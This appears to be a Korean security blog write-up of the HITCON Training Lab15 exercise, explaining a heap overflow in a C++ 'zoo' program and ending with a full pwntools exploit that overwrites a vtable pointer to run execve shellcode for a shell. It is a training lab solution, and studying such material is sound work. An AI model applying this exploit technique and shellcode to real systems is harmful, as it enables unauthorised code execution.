본문 바로가기

Security

HITCON Training Lab15

Lab15

소스코드를 살펴보자. 이번에는 나눠서 설명하겠다.

char nameofzoo[100];

class Animal {
	public :
		Animal(){
			memset(name,0,24);
			weight = 0;
		}
		virtual void speak(){;}
		virtual void info(){;}
	protected :
		char name[24];
		int weight;
};

class Dog : public Animal{
	public :
		Dog(string str,int w){
			strcpy(name,str.c_str());	
			weight = w ;
		}
		virtual void speak(){
			cout << "Wow ~ Wow ~ Wow ~" << endl ;
		}
		virtual void info(){
			cout << "|---------------------|" << endl ;
			cout << "| Animal info         |" << endl;
			cout << "|---------------------|" << endl;
			cout << "  Weight :" << this->weight << endl ;
			cout << "  Name : " << this->name << endl ;
			cout << "|---------------------|" << endl;
		}
};

class Cat : public Animal{
	public :
		Cat(string str,int w){
			strcpy(name,str.c_str());
			weight = w ;
		}
		virtual void speak(){
			cout << "Meow ~ Meow ~ Meow ~" << endl ;			
		}
		virtual void info(){
			cout << "|---------------------|" << endl ;
			cout << "| Animal info         |" << endl;
			cout << "|---------------------|" << endl;
			cout << "  Weight :" << this->weight << endl ;
			cout << "  Name : " << this->name << endl ;
			cout << "|---------------------|" << endl;
		}

};

...

vector<Animal *> animallist ;

지금까지는 c로 작성된 바이너리를 공격했는데, 이번에는 C++로 작성되었다. 총 3개의 Class가 있다. Animal은 부모 클래스로 char name[24], int weight의 멤버변수가 있다. Animal 클래스를 상속받은 Dog와 Cat는 각각 speak( )와 info( ) 함수가 존재한다. 살펴볼 점은 생성자? 그 객체를 만들 때, strcpy 함수를 통해서 인자값에서 name[24]로 복사하는 과정에서 오버플로 취약점이 발생할 수 있다. 그리고 vector<Animal *> animallist에 객체들을 저장한다.

void adddog(){
	string name ;
	int weight ;
	cout << "Name : " ;
	cin >> name;
	cout << "Weight : " ;
	cin >> weight ;
	Dog *mydog = new Dog(name,weight);
	animallist.push_back(mydog);

}

void remove(){
	unsigned int idx ;
	if(animallist.size() == 0){
		cout << "no any animal!" << endl ;
		return ;
	}
	cout << "index of animal : ";
	cin >> idx ;
	if(idx >= animallist.size()){
		cout << "out of bound !" << endl;
		return ;
	}
	delete animallist[idx];
	animallist.erase(animallist.begin()+idx);


}

void showinfo(){
	unsigned int idx ;
	if(animallist.size() == 0){
		cout << "no any animal!" << endl ;
		return ;
	}
	cout << "index of animal : ";
	cin >> idx ;
	if(idx >= animallist.size()){
		cout << "out of bound !" << endl;
		return ;
	}
	animallist[idx]->info();

}

void listen(){
	unsigned int idx ;
	if(animallist.size() == 0){
		cout << "no any animal!" << endl ;
		return ;
	}
	cout << "index of animal : ";
	cin >> idx ;
	if(idx >= animallist.size()){
		cout << "out of bound !" << endl;
		return ;
	}
	animallist[idx]->speak();

}

주요 함수들의 기능은 다음과 같다.

  • adddog( ) //addcat도 있음
    • 사용자로부터 name과 weight를 입력받는다.
    • Dog *mydog = new Dog(name, weight);로 객체를 생성한다.
    • animallist.push_back(mydog);로 객체를 animallist에 저장한다.
  • remove( )
    • 사용자로부터 idx를 입력받는다.
    • 해당하는 animallist의 인덱스에 값이 있다면, delete animallist[idx]; erase를 통해 remove를 진행한다.
  • showinfo( ), listen( )
    • 사용자로부터 idx를 입력받는다.
    • 각 객체의 가상함수를 실행시킨다.
    • animallist[idx]->info( ), animallist[idx]->speak( )

소스코드를 한 번 보고 발생 가능할만한 취약점을 생각해봤다. 우선, C++로 만들어졌고, virtual void speak( ), virtual void info( ) 함수가 있고, 위에서 언급한 오버플로 취약점이 있기 때문에, vtable을 덮어써서 원하는 코드를 실행하는 것으로 시나리오를 구성했다. 처음에는 system 함수 주소를 구해서 실행하려고 했는데 leak을 할말한 포인트도 잘 모르겠고 NX도 안 걸렸기 때문에 쉘코드를 통해 공격했다. (실제로 해보진 않았지만, info( ) 함수에서 this->weight, this->name을 통해 leak를 할 수 있지 않을까 생각은 해봤다.)

Dog 객체 2개 할당

처음에는 adddog( )를 통해서 2개의 객체를 할당했다. 0x1e66eb0, 0x1e66f00에 있는 0x403140은 vtable 주소다. 힙 오버플로우를 통해서 저 값을 덮어씌우거나, 0x1e66f30에 있는 0x1e66eb0 값을 다른 값으로 덮으면 코드의 흐름을 컨트롤 할 수 있을 것이다. 

인덱스 0번째 delete 직후

처음에 객체를 생성하면서 바로 strcpy( )를 통해서 덮으려고 하면, Top Chunk의 size까지 덮어서 프로그램이 종료된다. 그래서 객체를 2개 생성하고 0번째 인덱스의 객체를 remove( )하고 다시 생성할 계획이다.

cin >> name 직후

사용자로부터 name을 일부러 24 크기를 넘게 입력한 직후의 힙 화면이다. 아직까지는 흐름을 컨트롤 할 수 있는 영역을 못 덮었다.

Dog *mydog = new Dog (name,weight); 이후

mydog로 새로운 객체를 생성하며 name에 덮어쓸 때, 원래 vtable의 주소를 가리켰던 0x1e66f00 주소가 0x403140에서 덮어쓴 0x53535353... 값이 된 것을 확인할 수 있다. 공격은 다음과 같이 진행할 것이다.

  • nameofzoo에 쉘코드를 올린다.
    • main 함수를 보면, 가장 처음에 사용자로부터 nameofzoo에 입력을 받는다.
    • nameofzoo에 쉘코드를 올려, 코드 흐름을 해당 주소(0x605420)으로 뛰면 된다.
    • 유의할 점은, vtable로 가고, 거기서 한 번 더 주소로 들어가기 때문에 쉘코드가 있는 주소로 바로 덮으면 안되고, 쉘코드가 있는 주소를 가리키는 포인터의 주소로 덮어서 해야한다.
    • Ex. 0x2222에 쉘코드가 있다면, 바로 0x2222를 덮는게 아니라, 0x1111에 0x2222를 넣고, 0x1111로 덮어야한다.
  • nameofzoo의 주소로 0x1e66f00 주소를 덮는다. 
    • 근데, 처음엔 0x605420으로 덮고, nameofzoo에는 p64(0x605428)+shellcode를 넣었었는데 실행이 안됬다.
    • 그래서 0x605428로 덮고, nameofzoo에는 p64(0x605430) + shellcode를 넣었더니 성공했다.
from pwn import *

p = process('./zoo')
context.log_level = 'debug'

pause()
sc=b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.recvuntil(':')
p.send(p64(0x1)+p64(0x605430)+sc)

def addDog(name, w):
    p.sendlineafter(' :', '1')
    p.recvuntil('Name : ')
    p.sendline(name)
    p.recvuntil(' : ')
    p.sendline(str(w))

def Listen(idx):
    p.sendlineafter(' :','3')
    p.recvuntil(' : ')
    p.sendline(str(idx))

def Show(idx):
    p.sendlineafter(' :', '4')
    p.sendlineafter(' : ', str(idx))

def Remove(idx):
    p.sendlineafter(' :', '5')
    p.sendlineafter(' : ', str(idx))

addDog('AAAAAAAA', 10)
addDog('BBBBBBBB', 10)
Remove(0)

pay = b'C'*72 + p64(0x605428)
addDog(pay, 10)
Listen(0)
p.interactive()

'Security' 카테고리의 다른 글

[Reversing.kr] Easy Crack  (0) 2021.01.16
pwnable.kr Toddler's Bottle  (0) 2021.01.07
HITCON Training lab14  (0) 2021.01.04
HITCON Training Lab13  (0) 2021.01.02
HITCON Training lab12  (0) 2020.12.31